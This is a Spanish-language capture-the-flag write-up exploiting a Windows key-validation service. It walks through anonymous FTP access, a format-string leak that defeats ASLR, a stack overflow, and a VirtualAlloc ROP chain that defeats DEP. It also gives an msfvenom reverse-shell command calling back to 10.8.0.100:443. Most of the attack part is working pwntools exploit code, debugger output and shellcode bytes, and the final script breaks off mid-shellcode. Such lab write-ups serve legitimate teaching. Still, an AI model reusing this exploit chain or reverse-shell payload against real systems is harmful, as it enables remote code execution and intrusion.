Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde encontramos varios puertos abiertos, entre ellos el 21
que corre un servicio ftp
❯ nmap 10.10.122.10
Nmap scan report for 10.10.122.10
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
3389/tcp open ms-wbt-server
4141/tcp open oirtgsvc
5357/tcp open wsdapi
Esta abierto el puerto 80
con un servicio http
sin embargo si lo abrimos la web en el navegador nos muestra simplemente la página que viene por defecto en los IIS
Ya que esta abierto iniciaremos por conectarnos a ftp
, en este caso admite la autenticacion por defecto del usuario anonymous
sin proporcionar contraseña
❯ ftp 10.10.122.10
Connected to 10.10.122.10.
220 Microsoft FTP Service
Name (10.10.122.10:user): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp>
Dentro encontramos 2
archivos, un archivo .exe
y un .txt
, descargamos ambos
ftp> dir
229 Entering Extended Passive Mode (|||5005|)
125 Data connection already open; Transfer starting.
08-14-23 11:12PM 262 dev_keys.txt
08-14-23 01:53PM 187392 dev_keysvc.exe
226 Transfer complete.
ftp>
Al ejecutar el binario muestra que se ha iniciado un servidor en el puerto 4141
PS C:\Users\user\Desktop> .\dev_keysvc.exe
Server listening on port 4141
Además del binario se nos otorga un archivo .txt
que contiene algunas keys las cuales parece que son para alguna funcionalidad que aun se encuentra en desarrollo
❯ cat dev_keys.txt
Development Keys:
100-FE9A1-500-A270-0102-U3RhbmRhcmQgTGljZW5zZQ==
101-FE9A1-550-A271-0109-UHJlbWl1bSBMaWNlbnNl
102-FE9A1-500-A272-0106-UHJlbWl1bSBMaWNlbnNl
The dev keys can not be activated yet, we are working on fixing a bug in the activation function.
Al conectarnos con netcat
al puerto 4141
podemos ver un menú de opciones, la opción 1
pide una key, al introducir una de las del .txt
nos devuelve que es un formato valido, la opción 2
muestra 23
bytes de la key y un comentario interesante
❯ netcat 192.168.100.5 4141
Choose an option:
1. Set key
2. Activate key
3. Exit
1
Enter a key: 100-FE9A1-500-A270-0102-U3RhbmRhcmQgTGljZW5zZQ==
Valid key format
Choose an option:
1. Set key
2. Activate key
3. Exit
2
Checking key: 100-FE9A1-500-A270-0102, Comment: Standard License
Could not find key!
Choose an option:
1. Set key
2. Activate key
3. Exit
El comentario de la opción 2
proviene de la data en base64 después de 24
bytes
❯ echo U3RhbmRhcmQgTGljZW5zZQ== | base64 -d
Standard License
Shell - keysvc
Para poder depurar el programa facilmente abriremos la aplicación dentro de WinDbg
Si miramos los detalles del módulo podemos ver que contienes las protecciones DEP
y ASLR
, el primero impide que podamos ejecutar un shellcode en el stack, el segundo indica que la dirección base del binario deberia cambiar después de cada reinicio
0:000> !py mona modules
Hold on...
[+] Command used:
!py C:\Users\user\Documents\WinDbgX\amd64\mona.py modules
[+] Processing arguments and criteria
- Pointer access level : X
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Module info :
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Base | Top | Size | Rebase | SafeSEH | ASLR | CFG | NXCompat | OS Dll | Modulename & Path
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
0x00007ffdf23b0000 | 0x00007ffdf2767000 | 0x00000000003b7000 | True | True | True | True | True | True | [KERNELBASE.dll] (C:\Windows\System32\KERNELBASE.dll)
0x00007ffdf1300000 | 0x00007ffdf1369000 | 0x0000000000069000 | True | True | True | True | True | True | [mswsock.dll] (C:\Windows\system32\mswsock.dll)
0x00007ff651920000 | 0x00007ff651953000 | 0x0000000000033000 | True | True | True | False | True | False | [dev_keysvc.exe] (ReaperKeyCheck.exe)
0x00007ffdf3c60000 | 0x00007ffdf3d24000 | 0x00000000000c4000 | True | True | True | True | True | True | [KERNEL32.DLL] (C:\Windows\System32\KERNEL32.DLL)
0x00007ffdf4b30000 | 0x00007ffdf4d47000 | 0x0000000000217000 | True | True | True | True | True | True | [ntdll.dll] (ntdll.dll)
0x00007ffdf4810000 | 0x00007ffdf4924000 | 0x0000000000114000 | True | True | True | True | True | True | [RPCRT4.dll] (C:\Windows\System32\RPCRT4.dll)
0x00007ffdf4740000 | 0x00007ffdf47b1000 | 0x0000000000071000 | True | True | True | True | True | True | [WS2_32.dll] (C:\Windows\System32\WS2_32.dll)
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[+] Preparing output file 'modules.txt'
- (Re)setting logfile C:\mona\modules.txt
La función main
inicia llamando a la función WSAStartup
para inicializar winsock y luego llama a la función socket
para crear un socket y este devuelve un descriptor
Luego utiliza htons
para darle formato al puerto 4141
y posteriormente llamar a bind
y listen
para ponerse en escucha de conexiones entrantes en ese puerto
Luego de llamar a accept
si sale bien llama a la función beginthreadex
para crear un hilo por cada conexión que ejecuta la función StartAddress
pasandole el descriptor
El primer bloque de la función StartAddress
inicia reservando algunos espacios de memoria con VirtalAlloc
, luego de ello define una variable menu
con una string
Después llama a send
para enviar el menú y pide un buffer de 2 bytes con recv
para obtener una opción, la cual definirá mediante un switch
que operaciones realizar
Si la opción que se recibió es igual a la string 1
utiliza recv
de nuevo para recibir la key, luego de ello llama a la función checksum
que si devuelve 1
indica que la key tiene un formato válido de lo contrario inválido, esto último lo muestra con send
En lugar de crear una key sabemos que usando la primera key del .txt
es válida
Choose an option:
1. Set key
2. Activate key
3. Exit
1
Enter a key: 100-FE9A1-500-A270-0102-U3RhbmRhcmQgTGljZW5zZQ==
Valid key format
Choose an option:
1. Set key
2. Activate key
3. Exit
Al comparar la opción con 2
llama a una función llamada check
que si devuelve 1
encontró la key de lo contrario devuelve 0
y muestra con send
que no se encontró
Al finalizar llena 0x1000
bytes de la variable buffer utilizando 0's
llamando a memset
Si la opción es igual a la string 3
muestra un mensaje con puts
y sale del programa
La función checksum
compara que la clave sea mayor o igual a 23
bytes, si es asi inicia una variable csum
a 0
igual que un iterador llamado i
para iniciar un bucle
El bucle verifica que entre las posiciones 4
y 8
los caracteres sean imprimibles, osea que los bytes no sean menores o iguales a 0x20
ni mayores iguales a 0x7f
La siguiente validación es que las posiciones 4
, 10
, 14
y 19
sean iguales a un -
Para los caractéres antes de la posición 19
se acumula su valor ascii
menos 0x30
o 0
en ascii, esto lo hace para comprobar que los caracteres relevantes son dígitos
La variable result
almacena los últimos cuadro dígitos del módulo de csum % 10000
, luego utiliza strtol
y ckey
toma el valor numérico a partir del caractér 19
, osea los últimos 4
digitos de la clave, si la variable result
es igual a ckey
se retorna 1
La función check
llama a una función llamada checking
pasandole la key y abre un archivo keys.txt
con fopen
, si sale bien inicializa una variable found
en 0
Luego inicia un bucle en el que lee 0x1000
bytes del archivo con fgets
, encuentra la posición del caracter \n
y lo reemplaza por \0
, compara que la clave key
sea igual que la linea actual del archivo buffer, si es igual cambia el valor de found
a 1
La función inicia guardando en la variable b64
la dirección de key mas 0x18
, en esta dirección inicia la cadena en base64
, luego llama a la función base64
que restaura la string original, mas adelante llama a vsprintf
para guardar al inicio del buffer la cadena Checking key
, este buffer es el inicio de la string que se enviará
Establecemos un breakpoint en el call
, si enviamos la key el primer argumento apunta al buffer mas 24
bytes donde se encuentra la string en base64
, en rdx
se almacena la longitud de la string y finalmente en r8
un puntero hacia el size
0:000> bp ReaperKeyCheck + 0x1604
0:000> g
Breakpoint 0 hit
ReaperKeyCheck+0x1604:
00007ff6`51921604 e8c7fcffff call ReaperKeyCheck+0x12d0 (00007ff6`519212d0)
0:000> da rcx
000001bb`f1f50018 "U3RhbmRhcmQgTGljZW5zZQ=="
0:000> r rdx
rdx=0000000000000019
0:000> dqs r8 L1
00000086`5c8fe6b0 00000000`00000000
Al ejecutar el call
el valor de retorno en rax
es un puntero a la cadena decodeada
0:000> p
ReaperKeyCheck+0x1609:
00007ff6`51921609 4889442438 mov qword ptr [rsp+38h],rax ss:00000086`5c8fe6b8=00af00ae20040125
0:000> da rax
000001bb`f1e17950 "Standard License"
Luego utiliza la función snprintf
para guardar en la posición 14
del buffer lo que le pasemos como key
, esto podria ocasionar una vulnerabilidad de tipo format string
Además de ello utiliza la función memmove
para mover el contenido en base64 ya decodificado a un nuevo buffer sin sanitización ocasionando un buffer overflow
Iniciamos la primera vulnerabilidad, en la opción 1
enviamos los primeros 24
bytes de la key para validarla, luego la reemplazamos con el formato %p
que deberia hacer un leak de un puntero explotando el format string, luego de ello usamos la opción 2
Choose an option:
1. Set key
2. Activate key
3. Exit
1
Enter a key: 100-FE9A1-500-A270-0102-
Valid key format
Choose an option:
1. Set key
2. Activate key
3. Exit
1
Enter a key: %p
Invalid key format
Choose an option:
1. Set key
2. Activate key
3. Exit
2
Cuando llegamos al breakpoint en la llamada a la función send
que envia el buffer, en la posición 14
podemos ver que se remplaza el %p
por un puntero como cadena
0:000> bp ReaperKeyCheck + 0x16e3
0:000> g
Breakpoint 1 hit
ReaperKeyCheck+0x16e3:
00007ff6`519216e3 ff15bfeb0100 call qword ptr [ReaperKeyCheck+0x202a8 (00007ff6`519402a8)] ds:00007ff6`519402a8={WS2_32!send (00007ffd`f47428c0)}
0:000> db rdx
0000008a`0fefeb50 43 68 65 63 6b 69 6e 67-20 6b 65 79 3a 20 30 30 Checking key: 00
0000008a`0fefeb60 30 30 37 46 46 36 35 31-39 34 30 36 36 30 0a 2d 007FF651940660.-
0000008a`0fefeb70 46 45 39 41 31 2c 20 43-6f 6d 6d 65 6e 74 3a 20 FE9A1, Comment:
0000008a`0fefeb80 00 30 32 2d 00 00 00 00-00 00 00 00 00 00 00 00 .02-............
0000008a`0fefeb90 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000008a`0fefeba0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000008a`0fefebb0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000008a`0fefebc0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
El puntero que se mostrará como leak en el format string apunta a una cadena y es parte del binario, especificamente muestra la base mas offset 0x20660
, si restamos este offset obtenemos la base del binario, con ello podemos bypassear el ASLR
0:000> da 0x007ff651940660
00007ff6`51940660 "Checking key: "
0:000> lm m ReaperKeyCheck
Browse full module list
start end module name
00007ff6`51920000 00007ff6`51953000 ReaperKeyCheck C (no symbols)
0:000> ? 0x007ff651940660 - 0x00007ff651920000
Evaluate expression: 132704 = 00000000`00020660
Automatizamos este proceso en un script de python, primero validamos la key, luego sobrescribimos la key por un %p
que muestra un leak y al restar el offset muestra la dirección base del binario, podemos simplemente comprobarlo al ejecutar el exploit
#!/usr/bin/python3
from pwn import remote, log
shell = remote("192.168.100.5", 4141)
shell.sendlineafter(b"Exit\n", b"1")
shell.sendlineafter(b"key: ", b"100-FE9A1-500-A270-0102-")
shell.sendlineafter(b"Exit\n", b"1")
shell.sendlineafter(b"key: ", b"%p")
shell.sendlineafter(b"Exit\n", b"2")
shell.recvuntil(b"Checking key: ")
binary_base = int(shell.recvline().strip(), 16) - 0x20660
log.info(f"Binary base: {hex(binary_base)}")
shell.interactive()
❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 4141: Done
[*] Binary base: 0x7ff651920000
[*] Switching to interactive mode
Could not find key!
Choose an option:
1. Set key
2. Activate key
3. Exit
$
Una vez solucionado el ASLR
saltamos a la siguiente vulnerabilidad, definimos como payload 100
bytes creados con cyclic
para encontrar el offset, luego hace un encode de la cadena en base64
y la envía ocasionando un buffer overflow
#!/usr/bin/python3
from pwn import remote, cyclic, base64
shell = remote("192.168.100.5", 4141)
payload = b""
payload += cyclic(100, n=8)
shell.sendlineafter(b"Exit\n", b"1")
shell.sendlineafter(b"key: ", b"100-FE9A1-500-A270-0102-" + base64.b64encode(payload))
shell.sendlineafter(b"Exit\n", b"2")
Al ejecutar el exploit podemos mirar en el debugger que el programa corrompe en el ret
e intenta retornar a una dirección que es parte de la cadena cyclic
0:000> g
(34c0.3524): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ReaperKeyCheck+0x16f1:
00007ff6`519216f1 c3 ret
0:000> dq rsp L1
0000005f`862fe658 61616161`6161616c
Ahora calculamos el offset que deberian ser 88
bytes para llegar al return address
❯ cyclic -n 8 -l 0x616161616161616c
88
Para comprobar que sea el offset correcto escribimos el siguiente exploit, ahora el payload inicia llenando con 88 A's
el offset antes del return address, luego envia B's
como dirección de retorno y algunas C's
que se almacenarán en el stack
#!/usr/bin/python3
from pwn import remote, cyclic, base64
shell = remote("192.168.100.5", 4141)
offset = 88
junk = b"A" * offset
payload = b""
payload += junk
payload += b"B" * 8
payload += b"C" * 24
shell.sendlineafter(b"Exit\n", b"1")
shell.sendlineafter(b"key: ", b"100-FE9A1-500-A270-0102-" + base64.b64encode(payload))
shell.sendlineafter(b"Exit\n", b"2")
Al correrlo nuevamente corrompe pero si miramos el debugger ahora intenta retornar a 0x4242424242424242
que son las B's
y en el stack se almacenan los otros bytes
0:000> g
(366c.2d98): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ReaperKeyCheck+0x16f1:
00007ff6`519216f1 c3 ret
0:000> dqs rsp L4
0000006c`745fec88 42424242`42424242
0000006c`745fec90 43434343`43434343
0000006c`745fec98 43434343`43434343
0000006c`745feca0 43434343`43434343
Algo a tener en cuenta es el DEP
ya que en una explotación sencilla saltariamos al stack con un gadget equivalente a jmp rsp
pero esta protección hace que el stack no sea ejecutable complicando el proceso, podemos probar evadirlo con un ropchain
0:000> !vprot rsp
BaseAddress: 0000006c745fe000
AllocationBase: 0000006c74500000
AllocationProtect: 00000004 PAGE_READWRITE
RegionSize: 0000000000002000
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
Entre las funciones que podemos utilizar para evadir DEP
se encuentra VirtualAlloc
, la podemos encontrar el offset 0x20000
del binario, podemos comprobar desde el debugger que esta la dirección es una referencia a su dirección dentro de kernel32
0:000> dqs ReaperKeyCheck + 0x20000 L1
00007ff6`51940000 00007ffd`f3c73bf0 KERNEL32!VirtualAllocStub
La función VirtualAlloc nos servirá para cambiar los privilegios del stack ya que reserva un espacio en memoria, lo mas relevante es que en el primer argumento podemos indicar la dirección donde queremos hacerlo y con el último la protección
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
En el lpAddress
podemos pasar la dirección del rsp
donde iniciaremos, en el dwSize
usaremos 0x1
que reservará una página, en flAllocationType
pasaremos MEM_COMMIT
o 0x1000
y finalmente en flProtect
usaremos 0x40
que es igual a PAGE_EXECUTE_READ_WRITE
, de esta forma se nos permitiría ejecutar el shellcode
VirtualAlloc($rsp, 0x1, 0x1000, 0x40);
Nuestra idea será establecer estos valores en los registros rcx
, rdx
, r8
y r9
que corresponden a la convención de llamadas, para buscar gadgets usaremos ropper
❯ ropper --file dev_keysvc.exe -I 0x0 --console
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(dev_keysvc.exe/PE/x86_64)> search pop rax; ret;
[INFO] Searching for gadgets: pop rax; ret;
[INFO] File: dev_keysvc.exe
0x000000000000150a: pop rax; ret;
(dev_keysvc.exe/PE/x86_64)>
En el registro rcx
debemos guardar la dirección del rsp
, podemos usar el gadget xor rbx, rsp
y si rbx
vale 0
tomará el valor de rsp
, luego lo movemos a rcx
# $rcx = $rsp
rop += p64(binary_base + 0x020d9) # pop rbx; ret;
rop += p64(0x0) # key for xor
rop += p64(binary_base + 0x01fa0) # xor rbx, rsp; ret;
rop += p64(binary_base + 0x01fc2) # push rbx; pop rax; ret;
rop += p64(binary_base + 0x01f80) # mov rcx, rax; ret;
En rdx
debemos guardar 0x1
, existe el gadget mov rdx, r13
y podemos guardar valores en r13
con un pop
pero termina con un call rax
para ello guardaremos en el registro rax
el gadget pop rax; ret;
que solo saltará al siguiente gadget
# $rdx = 0x1
rop += p64(binary_base + 0x0150a) # pop rax; ret;
rop += p64(binary_base + 0x0150a) # pop rax; ret;
rop += p64(binary_base + 0x047b3) # pop r13; ret;
rop += p64(0x1) # dwSize
rop += p64(binary_base + 0x0368f) # mov rdx, r13; call rax;
Nuestra cadena carga el valor a rbx
que luego lo mueve a r9
y establece r8
a 0
, finalmente añade el valor de r9
al registro r8
dejando así en este un 0x1000
# $r8 = 0x1000
rop += p64(binary_base + 0x020d9) # pop rbx; ret;
rop += p64(0x1000) # flAllocationType
rop += p64(binary_base + 0x01f90) # mov r9, rbx; mov r8, 0; add rsp, 8; ret;
rop += p64(0x0) # padding for pop
rop += p64(binary_base + 0x03918) # add r8, r9; add rax, r8; ret;
Para cargar un valor a r9
podemos usar el gadget cmove r9, rdx
pero esta solo se ejecuta si se activa una flag, podemos activar la flag zf
con un xor rax, rax
y podemos usar la cadena rop
que armamos desde antes para cargar el valor a rdx
# $r9 = 0x40
rop += p64(binary_base + 0x0150a) # pop rax; ret;
rop += p64(binary_base + 0x0150a) # pop rax; ret;
rop += p64(binary_base + 0x047b3) # pop r13; ret;
rop += p64(0x40) # flProtect
rop += p64(binary_base + 0x0368f) # mov rdx, r13; call rax;
rop += p64(binary_base + 0x1f27f) # xor rax, rax; ret;
rop += p64(binary_base + 0x1f37d) # cmove r9, rdx; mov rax, r9; ret;
Ahora que ya establecimos los argumentos en sus respectivos registros podemos simplemente saltar a la función VirtualAlloc
, entonces al retornar ejecutamos un gadget push rsp; ret;
que ejecutará lo que está en el stack como un jmp rsp
# call VirtualAlloc()
rop += p64(binary_base + 0x020d9) # pop rbx; ret;
rop += p64(binary_base + 0x20000) # VirtualAlloc()
rop += p64(binary_base + 0x1ec79) # jmp qword ptr [rbx];
# jmp rsp
rop += p64(binary_base + 0x1becd) # push rsp; and al, 8; ret;
Nuestro exploit ahora se ve de esta forma, luego del offset enviamos el ropchain, luego de ejecutarla dejamos el retorno a varios qwords de A's
, B's
y demás
#!/usr/bin/python3
from pwn import remote, p64, base64
shell = remote("192.168.100.5", 4141)
shell.sendlineafter(b"Exit\n", b"1")
shell.sendlineafter(b"key: ", b"100-FE9A1-500-A270-0102-")
shell.sendlineafter(b"Exit\n", b"1")
shell.sendlineafter(b"key: ", b"%p")
shell.sendlineafter(b"Exit\n", b"2")
shell.recvuntil(b"Checking key: ")
binary_base = int(shell.recvline().strip(), 16) - 0x20660
offset = 88
junk = b"A" * offset
rop = b""
# $r8 = 0x1000
rop += p64(binary_base + 0x020d9) # pop rbx; ret;
rop += p64(0x1000) # flAllocationType
rop += p64(binary_base + 0x01f90) # mov r9, rbx; mov r8, 0; add rsp, 8; ret;
rop += p64(0x0) # padding for pop
rop += p64(binary_base + 0x03918) # add r8, r9; add rax, r8; ret;
# $r9 = 0x40
rop += p64(binary_base + 0x0150a) # pop rax; ret;
rop += p64(binary_base + 0x0150a) # pop rax; ret;
rop += p64(binary_base + 0x047b3) # pop r13; ret;
rop += p64(0x40) # flProtect
rop += p64(binary_base + 0x0368f) # mov rdx, r13; call rax;
rop += p64(binary_base + 0x1f27f) # xor rax, rax; ret;
rop += p64(binary_base + 0x1f37d) # cmove r9, rdx; mov rax, r9; ret;
# $rdx = 0x1
rop += p64(binary_base + 0x0150a) # pop rax; ret;
rop += p64(binary_base + 0x0150a) # pop rax; ret;
rop += p64(binary_base + 0x047b3) # pop r13; ret;
rop += p64(0x1) # dwSize
rop += p64(binary_base + 0x0368f) # mov rdx, r13; call rax;
# $rcx = $rsp
rop += p64(binary_base + 0x020d9) # pop rbx; ret;
rop += p64(0x0) # key for xor
rop += p64(binary_base + 0x01fa0) # xor rbx, rsp; ret;
rop += p64(binary_base + 0x01fc2) # push rbx; pop rax; ret;
rop += p64(binary_base + 0x01f80) # mov rcx, rax; ret;
# call VirtualAlloc()
rop += p64(binary_base + 0x020d9) # pop rbx; ret;
rop += p64(binary_base + 0x20000) # VirtualAlloc()
rop += p64(binary_base + 0x1ec79) # jmp qword ptr [rbx];
# jmp rsp
rop += p64(binary_base + 0x1becd) # push rsp; and al, 8; ret;
shellcode = b""
shellcode += b"A" * 8
shellcode += b"B" * 8
shellcode += b"C" * 8
shellcode += b"D" * 8
shellcode += b"E" * 8
payload = b""
payload += junk
payload += rop
payload += shellcode
shell.sendlineafter(b"Exit\n", b"1")
shell.sendlineafter(b"key: ", b"100-FE9A1-500-A270-0102-" + base64.b64encode(payload))
shell.sendlineafter(b"Exit\n", b"2")
Entonces, cuando llegamos al jmp [rbx]
el registro rbx
apunta a VirtualAlloc
y los argumentos estan establecidos de forma que cambie la protección del rsp
0:000> bp ReaperKeyCheck+0x1ec79
0:000> g
Breakpoint 0 hit
ReaperKeyCheck+0x1ec79:
00007ff6`5193ec79 ff23 jmp qword ptr [rbx] ds:00007ff6`51940000={KERNEL32!VirtualAllocStub (00007ffd`f3c73bf0)}
0:000> dqs rbx L1
00007ff6`51940000 00007ffd`f3c73bf0 KERNEL32!VirtualAllocStub
0:000> r rcx
rcx=000000eb131fed08
0:000> r rdx
rdx=0000000000000001
0:000> r r8
r8=0000000000001000
0:000> r r9
r9=0000000000000040
Al llegar al ret
de la función VirtualAlloc
ahora el rsp
deberia tener como protección PAGE_EXECUTE_READ_WRITE
lo que nos permitirá ejecutar un shellcode
0:000> pt
KERNELBASE!VirtualAlloc+0x5a:
00007ffd`f240a84a c3 ret
0:000> !vprot rsp
BaseAddress: 000000eb131fe000
AllocationBase: 000000eb13100000
AllocationProtect: 00000004 PAGE_READWRITE
RegionSize: 0000000000001000
State: 00001000 MEM_COMMIT
Protect: 00000040 PAGE_EXECUTE_READWRITE
Type: 00020000 MEM_PRIVATE
Cuando avanzamos al gadget push rsp; ret;
hay 2 qwords en el stack que fueron modificados durante la ejecución por lo que retornará a una dirección inválida
0:000> p
ReaperKeyCheck+0x1becd:
00007ff6`5193becd 54 push rsp
0:000> dqs rsp L4
000000eb`131fed38 000000eb`131fe000
000000eb`131fed40 00000000`00001000
000000eb`131fed48 43434343`43434343
000000eb`131fed50 44444444`44444444
Para arreglarlo evitaremos 2
qwords con un add rsp, 0x10
antes de saltar al rsp
# jmp rsp
rop += p64(binary_base + 0x02029) # add rsp, 0x10; ret;
rop += p64(0x0) * 2 # padding for add
rop += p64(binary_base + 0x1becd) # push rsp; and al, 8; ret;
Ahora al llegar al push rsp; ret;
ejecutará los qwords que enviamos como shellcode
0:000> bp ReaperKeyCheck + 0x1becd
0:000> g
Breakpoint 0 hit
ReaperKeyCheck+0x1becd:
00007ff6`5193becd 54 push rsp
0:000> dqs rsp L4
00000087`27afee00 41414141`41414141
00000087`27afee08 42424242`42424242
00000087`27afee10 43434343`43434343
00000087`27afee18 44444444`44444444
Luego de ejecutar el ropchain solo nos queda crear un shellcode con msfvenom
, en este caso crearemos uno que nos envie una revshell en caso de que se ejecute
❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.0.100 LPORT=443 -f python -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of python file: 2571 bytes
shellcode = b""
shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41"
shellcode += b"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48"
shellcode += b"\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20"
shellcode += b"\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31"
shellcode += b"\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20"
shellcode += b"\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41"
shellcode += b"\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0"
shellcode += b"\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67"
shellcode += b"\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20"
shellcode += b"\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34"
shellcode += b"\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac"
shellcode += b"\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1"
shellcode += b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
shellcode += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
shellcode += b"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
shellcode += b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a"
shellcode += b"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41"
shellcode += b"\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
shellcode += b"\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f"
shellcode += b"\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81"
shellcode += b"\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02"
shellcode += b"\x00\x01\xbb\x0a\x08\x00\x0a\x41\x54\x49\x89"
shellcode += b"\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff"
shellcode += b"\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41"
shellcode += b"\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31"
shellcode += b"\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48"
shellcode += b"\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0"
shellcode += b"\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
shellcode += b"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff"
shellcode += b"\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
shellcode += b"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50"
shellcode += b"\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d"
shellcode += b"\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01"
shellcode += b"\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89"
shellcode += b"\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff"
shellcode += b"\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89"
shellcode += b"\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31"
shellcode += b"\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d"
shellcode += b"\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6"
shellcode += b"\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
shellcode += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72"
shellcode += b"\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"
El exploit inicia obteniendo la dirección base del binario a través del format string, luego explotamos el buffer overflow que hace ejecutable el rsp
con el ropchain, al final salta al stack y ejecuta el shellcode que nos enviará una reverse shell
#!/usr/bin/python3
from pwn import remote, p64, base64
shell = remote("192.168.100.5", 4141)
shell.sendlineafter(b"Exit\n", b"1")
shell.sendlineafter(b"key: ", b"100-FE9A1-500-A270-0102-")
shell.sendlineafter(b"Exit\n", b"1")
shell.sendlineafter(b"key: ", b"%p")
shell.sendlineafter(b"Exit\n", b"2")
shell.recvuntil(b"Checking key: ")
binary_base = int(shell.recvline().strip(), 16) - 0x20660
offset = 88
junk = b"A" * offset
rop = b""
rop += p64(binary_base + 0x020d9) # pop rbx; ret;
rop += p64(0x1000) # flAllocationType
rop += p64(binary_base + 0x01f90) # mov r9, rbx; mov r8, 0; add rsp, 8; ret;
rop += p64(0x0) # padding for pop
rop += p64(binary_base + 0x03918) # add r8, r9; add rax, r8; ret;
rop += p64(binary_base + 0x0150a) # pop rax; ret;
rop += p64(binary_base + 0x0150a) # pop rax; ret;
rop += p64(binary_base + 0x047b3) # pop r13; ret;
rop += p64(0x40) # flProtect
rop += p64(binary_base + 0x0368f) # mov rdx, r13; call rax;
rop += p64(binary_base + 0x1f27f) # xor rax, rax; ret;
rop += p64(binary_base + 0x1f37d) # cmove r9, rdx; mov rax, r9; ret;
rop += p64(binary_base + 0x0150a) # pop rax; ret;
rop += p64(binary_base + 0x0150a) # pop rax; ret;
rop += p64(binary_base + 0x047b3) # pop r13; ret;
rop += p64(0x1) # dwSize
rop += p64(binary_base + 0x0368f) # mov rdx, r13; call rax;
rop += p64(binary_base + 0x020d9) # pop rbx; ret;
rop += p64(0x0) # key for xor
rop += p64(binary_base + 0x01fa0) # xor rbx, rsp; ret;
rop += p64(binary_base + 0x01fc2) # push rbx; pop rax; ret;
rop += p64(binary_base + 0x01f80) # mov rcx, rax; ret;
rop += p64(binary_base + 0x020d9) # pop rbx; ret;
rop += p64(binary_base + 0x20000) # VirtualAlloc()
rop += p64(binary_base + 0x1ec79) # jmp qword ptr [rbx];
rop += p64(binary_base + 0x02029) # add rsp, 0x10; ret;
rop += p64(0x0) * 2 # padding for add
rop += p64(binary_base + 0x1becd) # push rsp; and al, 8; ret;
shellcode = b""
shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41"
shellcode += b"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48"
shellcode += b"\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20"
shellcode += b"\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31"
shellcode += b"\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20"
